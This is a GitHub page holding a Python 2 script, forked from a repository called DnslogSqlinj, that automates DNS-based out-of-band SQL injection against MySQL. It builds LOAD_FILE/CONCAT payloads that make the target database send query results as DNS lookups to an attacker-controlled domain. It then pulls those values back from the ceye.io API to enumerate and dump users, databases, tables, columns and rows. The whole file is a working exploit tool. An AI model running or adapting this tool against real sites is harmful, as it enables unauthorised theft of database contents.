forked from ADOOO/DnslogSqlinj
-
Notifications
You must be signed in to change notification settings - Fork 0
/
dnslogSql.py
290 lines (214 loc) · 8.06 KB
/
dnslogSql.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from config import *
from checkSql import check
import requests
import json
import optparse
import sys
import time
from termcolor import *
import random
from string import letters
import gevent
from gevent import monkey; monkey.patch_all()
from Queue import Queue
class DnsSql(object):
def __init__(self, options):
self.APItoken = APItoken
self.DNSurl = DNSurl
self.options = options
self.injUrl = options.url
self.check = options.check
self.taskname = options.taskname
self.thread_count = int(options.thread_count)
self.column = options.column
self.columns = options.columns
self.table = options.table
self.tables = options.tables
self.db = options.db
self.dbs = options.dbs
self.dump = options.dump
self.dbUser = "select hex(user())"
self.dbDb = "select hex(database())"
self.dbPayload = "select hex(schema_name) from information_schema.schemata"
if self.db:
self.dbP = '0x'+self.db.encode('hex')
self.tablePayload = "select hex(table_name) from information_schema.tables where table_schema={db}".format(db=self.dbP)
if self.table:
self.tableP = '0x'+self.table.encode('hex')
self.columnPayload = "select hex(column_name)from information_schema.columns where table_name={table}".format(table=self.tableP)
if self.column:
self.dataPayload = "select hex(concat_ws(0x3a,{column})) from {db}.{table}".format(db=self.db,table=self.table,column=self.column)
self.dataPayloadCount = "select hex(concat_ws(0x3a,count(*))) from {db}.{table}".format(db=self.db,table=self.table)
# self.work = work
def getInf(self):
print '[!]Testing Target and Try to get current information!\n'
# taskname = 'infuser{}'.format(self.taskname)
taskname = ''.join([random.choice(letters) for j in range(6)])
origin = 'inf'
result = []
userPayload = self.payloadBuilt(taskname, self.dbUser)
# print userPayload
if self.runPayload(userPayload) == 'True':
user = self.getDnsData(taskname)
user = self.decode(user)
print '[*]Current user:\t{}'.format(colored(user,'red'))
result.append(user)
# taskname = 'infdb{}'.format(self.taskname)
taskname = ''.join([random.choice(letters) for j in range(6)])
dbPayload = self.payloadBuilt(taskname, self.dbDb)
if self.runPayload(dbPayload) == 'True':
db = self.getDnsData(taskname)
db = self.decode(db)
print '[*]Current data:\t{}'.format(colored(db,'red'))
result.append(db)
return result
def getData(self):
# taskname = 'datalen{}{}{}{}'.format(self.column,self.table,self.db,self.taskname)
if self.dump:
try:
print '[*]Database:{} Table:{} Column:{}'.format(colored(self.db,'red'),colored(self.table,'red'),colored(self.column,'red'))
taskname = ''.join([random.choice(letters) for j in range(6)])
origin = 'data'
length = int(self.getLength(self.dataPayloadCount, origin))
self.threadRun(length, origin)
except Exception,e:
return e.message
elif self.columns:
try:
print '[*]Database:{} Table:{} '.format(colored(self.db,'red'),colored(self.table,'red'))
taskname = ''.join([random.choice(letters) for j in range(6)])
origin = 'column'
length = int(self.getLength(self.columnPayload, origin))
self.threadRun(length, origin)
except Exception,e:
return e.message
elif self.tables:
try:
print '[*]Database:{}'.format(colored(self.db,'red'))
taskname = ''.join([random.choice(letters) for j in range(6)])
origin = 'table'
length = int(self.getLength(self.tablePayload, origin))
self.threadRun(length, origin)
except Exception,e:
return e.message
elif self.dbs:
try:
print '[*]Fecting Database.'
taskname = ''.join([random.choice(letters) for j in range(6)])
origin = 'db'
length = int(self.getLength(self.dbPayload, origin))
self.threadRun(length, origin)
except Exception,e:
return e.message
# print e
elif self.check:
check(self.injUrl)
else:
self.getInf()
sys.exit(0)
def threadRun(self, length, model):
print '[*]Get data count: {}'.format(colored(length,'red'))
queue = Queue()
for i in range(length):
queue.put(i)
gevent_pool = []
for i in range(self.thread_count):
gevent_pool.append(gevent.spawn(self.dumps, queue, model))
gevent.joinall(gevent_pool)
def dumps(self, queue, model):
while not queue.empty():
if model == 'db':
payload = self.dbPayload
if model == 'table':
payload = self.tablePayload
if model == 'column':
payload = self.columnPayload
if model =='data':
payload = self.dataPayload
count = queue.get_nowait()
taskname = ''.join([random.choice(letters) for j in range(6)])
dumpPayload = self.payloadBuilt(taskname, payload + ' limit {},1'.format(count))
# 获取数据的payload
# print dumpPayload
if self.runPayload(dumpPayload) == 'True':
result = self.getDnsData(taskname)
result = self.decode(result)
print '[*]Data {}:\t{}'.format(int(count)+1,colored(result,'red'))
def getLength(self, payload, origin):
# print origin
if origin == 'db':
payload = payload.replace('schema_name', 'count(*)')
if origin == 'table':
payload = payload.replace('table_name', 'count(*)')
if origin == 'column':
payload = payload.replace('column_name', 'count(*)')
if origin == 'data':
payload = payload
taskname = ''.join([random.choice(letters) for j in range(6)])
lenPayload = self.payloadBuilt(taskname, payload)
# 获取数据数量的payload
# print lenPayload
if self.runPayload(lenPayload) == 'True':
length = self.decode(self.getDnsData(taskname))
return length
def runPayload(self, payload):
try:
r = requests.get(url=payload, headers=headers, timeout=timeout)
return 'True'
except Exception,e:
# print e
return e.message
def decode(self, code):
data = code
try:
return data.decode('hex')
except:
return int(data,16)
def getDnsData(self, taskname):
try:
APIurl = 'http://api.ceye.io/v1/records?token={token}&type={dns}&filter={filter}'.format(token=self.APItoken, dns='dns', filter=taskname)
r = requests.get(APIurl)
data = json.loads(r.text)
# print data
result = data['data'][0]['name'].split('.'+taskname)[0]
return result
except Exception,e:
# print e
return e.message
def payloadBuilt(self, taskname, payload):
reqUrl = '.{}.mysqlinj.{}'.format(taskname,self.DNSurl)
payloadUrl = r'''SELECT LOAD_FILE(CONCAT('\\\\',({payload}),'{reqUrl}\\abc'))'''.format(payload=payload, reqUrl=reqUrl)
url = self.injUrl.format(payloadUrl)
return url
def run(options):
sql = DnsSql(options)
sql.getData()
if __name__ == '__main__':
start_time = time.strftime("%Y-%m-%d %H:%M:%S")
banner()
print '[-]{}\n'.format(start_time)
parser = optparse.OptionParser("usage: %prog [options] -u http://10.1.1.9/sqli-labs/Less-9/?id=1' and ({})--+", version="%prog 1.1")
parser.add_option("-u","--url", dest='url', default='', help="target include injection")
parser.add_option("-c","--check", dest='check', default='', action='store_true', help="task name")
parser.add_option("-n","--name", dest='taskname', default='dnsloginj', help="task name")
parser.add_option("-t","--thread", dest='thread_count', default='5', help="thread_count")
parser.add_option("-i","--inf", dest='inf', default='', help="Testing target and Try to get information")
parser.add_option("--dbs", dest='dbs', default='', action='store_true', help="get database")
parser.add_option("-D", dest='db', default='', help="database name")
parser.add_option("--tables", dest='tables', default='', action='store_true', help="get table")
parser.add_option("-T", dest='table', default='', help="table name")
parser.add_option("--columns", dest='columns', default='', action='store_true', help="get column")
parser.add_option("-C", dest='column', default='', help="column name")
parser.add_option("--dump", dest='dump', default='', action='store_true', help="get data")
(options, args) = parser.parse_args()
try:
if options.url:
run(options=options)
else:
parser.print_help()
sys.exit(0)
except KeyboardInterrupt:
print "Ctrl C - Stopping Client"
sys.exit(1)